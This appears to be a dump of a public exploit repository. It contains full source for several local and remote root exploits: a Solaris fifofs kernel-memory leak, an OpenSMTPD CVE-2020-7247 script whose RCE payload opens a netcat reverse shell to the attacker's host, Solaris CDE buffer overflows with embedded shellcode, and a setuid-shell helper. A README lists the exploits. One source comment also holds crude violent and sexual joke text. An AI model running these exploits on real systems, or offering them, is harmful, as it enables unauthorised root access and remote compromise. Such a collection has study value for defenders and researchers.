circumvent bash checks 112 | echo "Preparing setuid shell helper..." 113 | echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c 114 | gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null 115 | if [ $? -ne 0 ]; then 116 | echo "Problems compiling setuid shell helper, check your gcc." 117 | echo "Falling back to the /bin/sh method." 118 | cp /bin/sh /tmp/pwned 119 | fi 120 | echo 121 | 122 | # select and deliver the payload 123 | echo "Delivering $METHOD payload..." 124 | PAYLOAD=$PAYLOAD_SETUID 125 | exploit 126 | echo 127 | 128 | # wait for the magic to happen and spawn our shell 129 | echo "Waiting 5 seconds..." 130 | sleep 5 131 | ls -l /tmp/pwned 132 | /tmp/pwned 133 | 134 | # netcat method 135 | elif [ $METHOD = "netcat" ]; then 136 | 137 | # select and deliver the payload 138 | echo "Delivering $METHOD payload..." 139 | PAYLOAD=$PAYLOAD_NETCAT 140 | exploit 141 | echo 142 | 143 | # wait for the magic to happen and spawn our shell 144 | echo "Waiting 5 seconds..." 145 | sleep 5 146 | nc -v 127.0.0.1 31337 147 | 148 | # print help 149 | else 150 | usage 151 | fi 152 | -------------------------------------------------------------------------------- /solaris/raptor_peek.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_peek.c,v 1.1 2007/10/18 08:08:29 raptor Exp $ 3 | * 4 | * raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak 5 | * Copyright (c) 2007 Marco Ivaldi 6 | * 7 | * [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun 8 | * Solaris 8 through 10 allows local users to read the contents of unspecified 9 | * memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225). 10 | * 11 | * /\ AS PART OF A VAST WORLD-WIDE CONSPIRACY 12 | * hjm / \ I COMMAND THEE: BEAT OFF UNTO ME 13 | * /,--.\ 14 | * /< () >\ IF I SAY "FNORD" AT THE END OF A SENTENCE 15 | * / `--' \ DOES THAT MAKE ME REALLY FUNNY OR SOMEONE 16 | * / \ WHO NEEDS TO GET FUCKING BEATEN TO NEAR 17 | * / \ DEATH AND THEN RAPED WITH A BROOM 18 | * /______________\ 19 | * AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE 20 | * SO YOU REALLY GET YOUR MONEY'S WORTH HERE 21 | * Usage: 22 | * $ gcc raptor_peek.c -o raptor_peek -Wall 23 | * $ ./raptor_peek kerndump 666666 24 | * [...] 25 | * $ ls -l kerndump 26 | * -rwx------ 1 raptor staff 666666 Oct 17 19:33 kerndump 27 | * 28 | * Vulnerable platforms (SPARC): 29 | * Solaris 8 without patch 109454-06 [tested] 30 | * Solaris 9 without patch 117471-04 [tested] 31 | * Solaris 10 without patch 127737-01 [tested] 32 | * 33 | * Vulnerable platforms (x86): 34 | * Solaris 8 without patch 109455-06 [untested] 35 | * Solaris 9 without patch 117472-04 [untested] 36 | * Solaris 10 without patch 127738-01 [untested] 37 | */ 38 | 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak" 49 | #define INFO2 "Copyright (c) 2007 Marco Ivaldi " 50 | 51 | #define BADFIFO "/tmp/fnord" 52 | #define BUFSIZE 1000000 53 | 54 | int errno; 55 | 56 | int main(int argc, char **argv) 57 | { 58 | int fd, fifo; 59 | size_t out, bufsize = BUFSIZE; 60 | char *buf; 61 | struct strpeek peek; 62 | 63 | /* print exploit information */ 64 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 65 | 66 | /* read command line */ 67 | if (argc < 2) { 68 | fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]); 69 | exit(1); 70 | } 71 | if (argc > 2) 72 | if ((bufsize = atoi(argv[2])) == 0) { 73 | fprintf(stderr, "Error (atoi): invalid outsize\n"); 74 | exit(1); 75 | } 76 | 77 | /* print some output */ 78 | fprintf(stderr, "Using outfile\t: %s\n", argv[1]); 79 | fprintf(stderr, "Using outsize\t: %u\n\n", bufsize); 80 | 81 | /* prepare the output buffer */ 82 | if ((buf = (char *)malloc(bufsize)) == NULL) { 83 | perror("Error (malloc)"); 84 | fprintf(stderr, "Hint: Try again with a smaller output size\n"); 85 | exit(1); 86 | } 87 | memset(buf, 0, bufsize); 88 | 89 | /* create the named pipe */ 90 | unlink(BADFIFO); 91 | if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) { 92 | perror("Error (mknod)"); 93 | exit(1); 94 | } 95 | 96 | switch(fork()) { 97 | case -1: /* cannot fork */ 98 | perror("Error (fork)"); 99 | exit(1); 100 | case 0: /* the child writes */ 101 | if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) { 102 | perror("Error (open)"); 103 | exit(1); 104 | } 105 | write(fifo, "FNORD", 5); 106 | exit(0); 107 | default: /* the parent reads */ 108 | /* FALL THROUGH */ 109 | ; 110 | } 111 | 112 | /* perform the MAGICK */ 113 | if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) { 114 | perror("Error (open)"); 115 | exit(1); 116 | } 117 | 118 | memset(&peek, 0, sizeof(peek)); 119 | peek.databuf.buf = buf; 120 | peek.databuf.maxlen = -1; /* FNORD! */ 121 | 122 | if (ioctl(fifo, I_PEEK, &peek) < 0 ) { 123 | perror("Error (ioctl)"); 124 | close(fifo); 125 | exit(1); 126 | } 127 | 128 | /* save output to outfile */ 129 | if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) { 130 | perror("Error (open)"); 131 | close(fifo); 132 | exit(1); 133 | } 134 | out = write(fd, buf, bufsize); 135 | 136 | fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]); 137 | fprintf(stderr, "Hint: Try also with a bigger output size\n"); 138 | 139 | /* cleanup (who cares about free?;) */ 140 | close(fd); 141 | close(fifo); 142 | 143 | exit(0); 144 | } 145 | -------------------------------------------------------------------------------- /openbsd/raptor_opensmtpd.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # 4 | # raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD 5 | # Copyright (c) 2020 Marco Ivaldi 6 | # 7 | # smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and 8 | # other products, allows remote attackers to execute arbitrary commands as root 9 | # via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL 10 | # FROM field. This affects the "uncommented" default configuration. The issue 11 | # exists because of an incorrect return value upon failure of input validation 12 | # (CVE-2020-7247). 13 | # 14 | # "Wow. I feel all butterflies in my tummy that bugs like this still exist. 15 | # That's awesome :)" -- skyper 16 | # 17 | # This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to 18 | # root on OpenBSD in the default configuration, or execute remote commands as 19 | # root (only in OpenSMTPD "uncommented" default configuration). 20 | # 21 | # See also: 22 | # https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt 23 | # https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/ 24 | # https://www.kb.cert.org/vuls/id/390745/ 25 | # https://www.opensmtpd.org/security.html 26 | # 27 | # Usage (LPE): 28 | # phish$ uname -a 29 | # OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64 30 | # phish$ id 31 | # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel) 32 | # phish$ ./raptor_opensmtpd.pl LPE 33 | # [...] 34 | # Payload sent, please wait 5 seconds... 35 | # -rwsrwxrwx 1 root wheel 12432 Feb 1 21:20 /usr/local/bin/pwned 36 | # phish# id 37 | # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) 38 | # 39 | # Usage (RCE): 40 | # raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org 41 | # [...] 42 | # Payload sent, please wait 5 seconds... 43 | # /bin/sh: No controlling tty (open /dev/tty: Device not configured) 44 | # /bin/sh: Can't find tty file descriptor 45 | # /bin/sh: warning: won't have full job control 46 | # phish# id 47 | # uid=0(root) gid=0(wheel) groups=0(wheel) 48 | # 49 | # Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1): 50 | # OpenBSD 6.6 [tested] 51 | # OpenBSD 6.5 [untested] 52 | # OpenBSD 6.4 [untested] 53 | # Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested] 54 | # Other Linux distributions [untested] 55 | # FreeBSD [untested] 56 | # NetBSD [untested] 57 | # 58 | 59 | use IO::Socket::INET; 60 | 61 | print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n"; 62 | print "Copyright (c) 2020 Marco Ivaldi \n\n"; 63 | 64 | $usage = "Usage:\n". 65 | "$0 LPE\n". 66 | "$0 RCE []\n"; 67 | $lport = 4444; 68 | 69 | ($type, $rhost, $lhost, $domain) = @ARGV; 70 | die $usage if (($type ne "LPE") && ($type ne "RCE")); 71 | 72 | # Prepare the payload 73 | if ($type eq "LPE") { # LPE 74 | $payload = "cp /bin/sh /usr/local/bin/pwned\n". 75 | "echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n". 76 | "gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned"; 77 | $rhost = "127.0.0.1"; 78 | } else { # RCE 79 | die $usage if ((not defined $rhost) || (not defined $lhost)); 80 | $payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|". 81 | "nc $lhost $lport >/tmp/f"; 82 | } 83 | 84 | # Open SMTP connection 85 | $| = 1; 86 | $s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n"; 87 | 88 | # Read SMTP banner 89 | $r = <$s>; 90 | print "< $r"; 91 | die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/); 92 | 93 | # Send HELO 94 | $w = "HELO fnord"; 95 | print "> $w\n"; 96 | print $s "$w\n"; 97 | $r = <$s>; 98 | print "< $r"; 99 | die "Error: expected 250\n" if ($r !~ /^250/); 100 | 101 | # Send evil MAIL FROM 102 | $w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>"; 103 | print "> $w\n"; 104 | print $s "$w\n"; 105 | $r = <$s>; 106 | print "< $r"; 107 | die "Error: expected 250\n" if ($r !~ /^250/); 108 | 109 | # Send RCPT TO 110 | if (not defined $domain) { 111 | $rcpt = ""; 112 | } else { 113 | $rcpt = ""; 114 | } 115 | $w = "RCPT TO:$rcpt"; 116 | print "> $w\n"; 117 | print $s "$w\n"; 118 | $r = <$s>; 119 | print "< $r"; 120 | die "Error: expected 250\n" if ($r !~ /^250/); 121 | 122 | # Send payload in DATA 123 | $w = "DATA"; 124 | print "> $w\n"; 125 | print $s "$w\n"; 126 | $r = <$s>; 127 | print "< $r"; 128 | $w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n."; 129 | #print "> $w\n"; # uncomment for debugging 130 | print $s "$w\n"; 131 | $r = <$s>; 132 | print "< $r"; 133 | die "Error: expected 250\n" if ($r !~ /^250/); 134 | 135 | # Close SMTP connection 136 | $s->close(); 137 | print "\nPayload sent, please wait 5 seconds...\n"; 138 | 139 | # Got root? 140 | if ($type eq "LPE") { # LPE 141 | sleep 5; 142 | print `ls -l /usr/local/bin/pwned`; 143 | exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n"; 144 | } else { # RCE 145 | exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat 146 | #exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat 147 | } 148 | -------------------------------------------------------------------------------- /solaris/raptor_libdthelp.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_libdthelp.c,v 1.1.1.1 2004/12/04 14:35:33 raptor Exp $ 3 | * 4 | * raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9 5 | * Copyright (c) 2003-2004 Marco Ivaldi 6 | * 7 | * Buffer overflow in CDE libDtHelp library allows local users to execute 8 | * arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable 9 | * and the Help feature (CAN-2003-0834). 10 | * 11 | * Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit), 12 | * DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different 13 | * exploitation technique, due to different code paths). 14 | * 15 | * Usage: 16 | * $ gcc raptor_libdthelp.c -o raptor_libdthelp -Wall 17 | * [on your xserver: disable the access control] 18 | * $ ./raptor_libdthelp 192.168.1.1:0 19 | * [on your xserver: enter the dtprintinfo help] 20 | * # id 21 | * uid=0(root) gid=1(other) 22 | * # 23 | * 24 | * Vulnerable platforms: 25 | * Solaris 7 without patch 107178-03 [tested] 26 | * Solaris 8 without patch 108949-08 [tested] 27 | * Solaris 9 without patch 116308-01 [tested] 28 | */ 29 | 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | #define INFO1 "raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9" 37 | #define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi " 38 | 39 | #define VULN "/usr/dt/bin/dtprintinfo" // default setuid target 40 | #define BUFSIZE 1200 // size of the evil buffer 41 | #define VARSIZE 1024 // size of the evil env vars 42 | 43 | /* voodoo macros */ 44 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 45 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 46 | 47 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 48 | /* double setuid() */ 49 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 50 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 51 | /* execve() */ 52 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 53 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 54 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 55 | 56 | /* globals */ 57 | char *env[256]; 58 | int env_pos = 0, env_len = 0; 59 | 60 | /* prototypes */ 61 | int add_env(char *string); 62 | void set_val(char *buf, int pos, int val); 63 | 64 | /* 65 | * main() 66 | */ 67 | int main(int argc, char **argv) 68 | { 69 | char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE]; 70 | char platform[256], release[256], display[256]; 71 | int i, offset, ret, var1_addr, var2_addr; 72 | int plat_len, prog_len, rel; 73 | 74 | char *arg[2] = {"foo", NULL}; 75 | int arg_len = 4, arg_pos = 1; 76 | 77 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 78 | 79 | /* print exploit information */ 80 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 81 | 82 | /* read command line */ 83 | if (argc != 2) { 84 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 85 | exit(1); 86 | } 87 | sprintf(display, "DISPLAY=%s", argv[1]); 88 | 89 | /* get some system information */ 90 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 91 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 92 | rel = atoi(release + 2); 93 | 94 | /* prepare the evil buffer */ 95 | memset(buf, 'A', sizeof(buf)); 96 | buf[sizeof(buf) - 1] = 0x0; 97 | memcpy(buf, "DTHELPSEARCHPATH=", 17); 98 | 99 | /* prepare the evil env vars */ 100 | memset(var1, 'B', sizeof(var1)); 101 | var1[sizeof(var1) - 1] = 0x0; 102 | memset(var2, 'C', sizeof(var2)); 103 | var2[sizeof(var2) - 1] = 0x0; 104 | 105 | /* fill the envp, keeping padding */ 106 | var1_addr = add_env(sc); 107 | var2_addr = add_env(var1); 108 | add_env(var2); 109 | add_env(display); 110 | add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin"); 111 | add_env("HOME=/tmp"); 112 | add_env(buf); 113 | add_env(NULL); 114 | 115 | /* calculate the offset to argv[0] (voodoo magic) */ 116 | plat_len = strlen(platform) + 1; 117 | prog_len = strlen(VULN) + 1; 118 | offset = arg_len + env_len + plat_len + prog_len; 119 | if (rel > 7) 120 | VOODOO64(offset, arg_pos, env_pos) 121 | else 122 | VOODOO32(offset, plat_len, prog_len) 123 | 124 | /* calculate the needed addresses */ 125 | ret = sb - offset + arg_len; 126 | var1_addr += ret; 127 | var2_addr += ret; 128 | 129 | /* fill the evil buffer */ 130 | for (i = 17; i < BUFSIZE - 8; i += 4) 131 | set_val(buf, i, var1_addr - 5000); 132 | 133 | /* fill the evil env vars */ 134 | for (i = 0; i < VARSIZE - 8; i += 4) 135 | set_val(var1, i, var2_addr - 500); 136 | for (i = 0; i < VARSIZE - 8; i += 4) 137 | set_val(var2, i, ret); 138 | 139 | /* print some output */ 140 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 141 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 142 | fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr); 143 | fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr); 144 | fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret); 145 | 146 | /* run the vulnerable program */ 147 | execve(VULN, arg, env); 148 | perror("execve"); 149 | exit(0); 150 | } 151 | 152 | /* 153 | * add_env(): add a variable to envp and pad if needed 154 | */ 155 | int add_env(char *string) 156 | { 157 | int i; 158 | 159 | /* null termination */ 160 | if (!string) { 161 | env[env_pos] = NULL; 162 | return(env_len); 163 | } 164 | 165 | /* add the variable to envp */ 166 | env[env_pos] = string; 167 | env_len += strlen(string) + 1; 168 | env_pos++; 169 | 170 | /* pad the envp using zeroes */ 171 | if ((strlen(string) + 1) % 4) 172 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 173 | env[env_pos] = string + strlen(string); 174 | env_len++; 175 | } 176 | 177 | return(env_len); 178 | } 179 | 180 | /* 181 | * set_val(): copy a dword inside a buffer 182 | */ 183 | void set_val(char *buf, int pos, int val) 184 | { 185 | buf[pos] = (val & 0xff000000) >> 24; 186 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 187 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 188 | buf[pos + 3] = (val & 0x000000ff); 189 | } 190 | -------------------------------------------------------------------------------- /solaris/raptor_dtprintname_sparc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC 3 | * Copyright (c) 2004-2019 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * Usage: 14 | * $ gcc raptor_dtprintname_sparc.c -o raptor_dtprintname_sparc -Wall 15 | * [on your xserver: disable the access control] 16 | * $ ./raptor_dtprintname_sparc 192.168.1.1:0 17 | * [...] 18 | * # id 19 | * uid=0(root) gid=10(staff) 20 | * # 21 | * 22 | * Tested on: 23 | * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 24 | * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 25 | * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 26 | * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] 27 | */ 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #define INFO1 "raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC" 36 | #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi " 37 | 38 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 39 | #define BUFSIZE 301 // size of the printer name 40 | 41 | /* voodoo macros */ 42 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 43 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 44 | 45 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 46 | /* double setuid() */ 47 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 48 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 49 | /* execve() */ 50 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 51 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 52 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 53 | 54 | /* globals */ 55 | char *env[256]; 56 | int env_pos = 0, env_len = 0; 57 | 58 | /* prototypes */ 59 | int add_env(char *string); 60 | void set_val(char *buf, int pos, int val); 61 | 62 | /* 63 | * main() 64 | */ 65 | int main(int argc, char **argv) 66 | { 67 | char buf[BUFSIZE], var[16]; 68 | char platform[256], release[256], display[256]; 69 | int i, offset, ret, var_pos; 70 | int plat_len, prog_len, rel; 71 | 72 | char *arg[2] = {"foo", NULL}; 73 | int arg_len = 4, arg_pos = 1; 74 | 75 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 76 | 77 | /* fake lpstat code */ 78 | if (!strcmp(argv[0], "lpstat")) { 79 | 80 | /* check command line */ 81 | if (argc != 2) 82 | exit(1); 83 | 84 | /* get ret address from environment */ 85 | ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 86 | 87 | /* prepare the evil printer name */ 88 | memset(buf, 'A', sizeof(buf)); 89 | buf[sizeof(buf) - 1] = 0x0; 90 | 91 | /* fill with return address */ 92 | for (i = 0; i < BUFSIZE; i += 4) 93 | set_val(buf, i, ret - 8); 94 | 95 | /* print the expected output and exit */ 96 | if(!strcmp(argv[1], "-v")) { 97 | fprintf(stderr, "lpstat called with -v\n"); 98 | printf("device for %s: /dev/null\n", buf); 99 | } else { 100 | fprintf(stderr, "lpstat called with -d\n"); 101 | printf("system default destination: %s\n", buf); 102 | } 103 | exit(0); 104 | } 105 | 106 | /* print exploit information */ 107 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 108 | 109 | /* read command line */ 110 | if (argc != 2) { 111 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 112 | exit(1); 113 | } 114 | sprintf(display, "DISPLAY=%s", argv[1]); 115 | 116 | /* get some system information */ 117 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 118 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 119 | rel = atoi(release + 2); 120 | 121 | /* fill the envp, keeping padding */ 122 | add_env(sc); 123 | var_pos = env_pos; 124 | add_env("RET=0x41414141"); 125 | add_env(display); 126 | add_env("PATH=.:/usr/bin"); 127 | add_env("HOME=/tmp"); 128 | add_env(NULL); 129 | 130 | /* calculate the offset to argv[0] (voodoo magic) */ 131 | plat_len = strlen(platform) + 1; 132 | prog_len = strlen(VULN) + 1; 133 | offset = arg_len + env_len + plat_len + prog_len; 134 | if (rel > 7) 135 | VOODOO64(offset, arg_pos, env_pos) 136 | else 137 | VOODOO32(offset, plat_len, prog_len) 138 | 139 | /* calculate the needed addresses */ 140 | ret = sb - offset + arg_len; 141 | 142 | /* overwrite the RET env var with the right ret address */ 143 | sprintf(var, "RET=0x%x", ret); 144 | env[var_pos] = var; 145 | 146 | /* create a symlink for the fake lpstat */ 147 | unlink("lpstat"); 148 | symlink(argv[0], "lpstat"); 149 | 150 | /* print some output */ 151 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 152 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 153 | fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret); 154 | 155 | /* run the vulnerable program */ 156 | execve(VULN, arg, env); 157 | perror("execve"); 158 | exit(0); 159 | } 160 | 161 | /* 162 | * add_env(): add a variable to envp and pad if needed 163 | */ 164 | int add_env(char *string) 165 | { 166 | int i; 167 | 168 | /* null termination */ 169 | if (!string) { 170 | env[env_pos] = NULL; 171 | return(env_len); 172 | } 173 | 174 | /* add the variable to envp */ 175 | env[env_pos] = string; 176 | env_len += strlen(string) + 1; 177 | env_pos++; 178 | 179 | /* pad the envp using zeroes */ 180 | if ((strlen(string) + 1) % 4) 181 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 182 | env[env_pos] = string + strlen(string); 183 | env_len++; 184 | } 185 | 186 | return(env_len); 187 | } 188 | 189 | /* 190 | * set_val(): copy a dword inside a buffer 191 | */ 192 | void set_val(char *buf, int pos, int val) 193 | { 194 | buf[pos] = (val & 0xff000000) >> 24; 195 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 196 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 197 | buf[pos + 3] = (val & 0x000000ff); 198 | } 199 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # exploits 2 | 3 | [![](https://img.shields.io/github/stars/0xdea/exploits.svg?style=flat&color=yellow)](https://github.com/0xdea/exploits) 4 | [![](https://img.shields.io/github/forks/0xdea/exploits.svg?style=flat&color=green)](https://github.com/0xdea/exploits) 5 | [![](https://img.shields.io/github/watchers/0xdea/exploits.svg?style=flat&color=red)](https://github.com/0xdea/exploits) 6 | [![](https://img.shields.io/badge/twitter-%400xdea-blue.svg)](https://twitter.com/0xdea) 7 | [![](https://img.shields.io/badge/mastodon-%40raptor-purple.svg)](https://infosec.exchange/@raptor) 8 | 9 | > "You can't argue with a root shell." 10 | > 11 | > -- Felix "FX" Lindner 12 | 13 | A collection of my public exploits. 14 | 15 | ![](https://raw.githubusercontent.com/0xdea/exploits/master/.img/xdev.jpg) 16 | 17 | ## See also 18 | 19 | * 20 | 21 | ## Exploits 22 | 23 | ### Linux 24 | 25 | * [**raptor_chown.c**](linux/raptor_chown.c). Linux 2.6.x < 2.6.7-rc3 (CVE-2004-0497). Missing DAC controls in sys_chown() on Linux. 26 | * [**raptor_prctl.c**](linux/raptor_prctl.c). Linux 2.6.x from 2.6.13 up to versions before 2.6.17.4 (CVE-2006-2451). Suid_dumpable bug. 27 | * [**raptor_prctl2.c**](linux/raptor_prctl2.c). Linux 2.6.x from 2.6.13 up to versions before 2.6.17.4 (CVE-2006-2451). Via logrotate(8). 28 | * [**raptor_truecrypt**](/linux/raptor_truecrypt). TrueCrypt <= 4.3 (CVE-2007-1738). Local privilege escalation via setuid volume mount. 29 | * [**raptor_ldaudit**](linux/raptor_ldaudit). Local privilege escalation through glibc dynamic linker (CVE-2010-3856). Via crond(8). 30 | * [**raptor_ldaudit2**](linux/raptor_ldaudit2). Local privilege escalation through glibc dynamic linker (CVE-2010-3856). Via logrotate(8). 31 | * [**raptor_exim_wiz**](linux/raptor_exim_wiz). Local privilege escalation via "The Return of the WIZard" Exim bug (CVE-2019-10149). 32 | 33 | ### Solaris 34 | 35 | * [**raptor_ucbps**](solaris/raptor_ucbps). Solaris 8, 9 (CVE-1999-1587). Information leak with /usr/ucb/ps on both SPARC and x86. 36 | * [**raptor_rlogin.c**](solaris/raptor_rlogin.c). Solaris 2.5.1, 2.6, 7, 8 (CVE-2001-0797). Buffer overflow in System V login via rlogin vector. 37 | * [**raptor_ldpreload.c**](solaris/raptor_ldpreload.c). Solaris 2.6, 7, 8, 9 (CVE-2003-0609). Buffer overflow in the runtime linker ld.so.1. 38 | * [**raptor_libdthelp.c**](solaris/raptor_libdthelp.c). Solaris 7, 8, 9 (CVE-2003-0834). Buffer overflow in CDE libDtHelp via dtprintinfo. 39 | * [**raptor_libdthelp2.c**](solaris/raptor_libdthelp2.c). Solaris 7, 8, 9 (CVE-2003-0834). Buffer overflow in CDE libDtHelp, non-exec stack. 40 | * [**raptor_passwd.c**](solaris/raptor_passwd.c). Solaris 8, 9 (CVE-2004-0360). Buffer overflow in the circ() function of passwd(1). 41 | * [**raptor_sysinfo.c**](solaris/raptor_sysinfo.c). Solaris 10 (CVE-2006-3824). Kernel memory disclosure with the sysinfo(2) system call. 42 | * [**raptor_xkb.c**](solaris/raptor_xkb.c). Solaris 8, 9, 10 (CVE-2006-4655). Buffer overflow in the Strcmp() function of X11 XKEYBOARD. 43 | * [**raptor_libnspr**](solaris/raptor_libnspr). Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation oldschool local root. 44 | * [**raptor_libnspr2**](solaris/raptor_libnspr2). Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation local root via LD_PRELOAD. 45 | * [**raptor_libnspr3**](solaris/raptor_libnspr3). Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation local root via constructor. 46 | * [**raptor_peek.c**](solaris/raptor_peek.c). Solaris 8, 9, 10 (CVE-2007-5225). Kernel memory disclosure with fifofs I_PEEK ioctl(2). 47 | * [**raptor_solgasm**](solaris/raptor_solgasm). Solaris 11 (CVE-2018-14665). Local privilege escalation via Xorg -logfile and inittab. 48 | * [**raptor_dtprintname_sparc.c**](solaris/raptor_dtprintname_sparc.c). Solaris 7-9 (CVE-2019-2832). Buffer overflow in CDE dtprintinfo (SPARC). 49 | * [**raptor_dtprintname_sparc2.c**](solaris/raptor_dtprintname_sparc2.c). Solaris 7-9 (CVE-2019-2832). Buffer overflow in CDE dtprintinfo (SPARC, NX). 50 | * 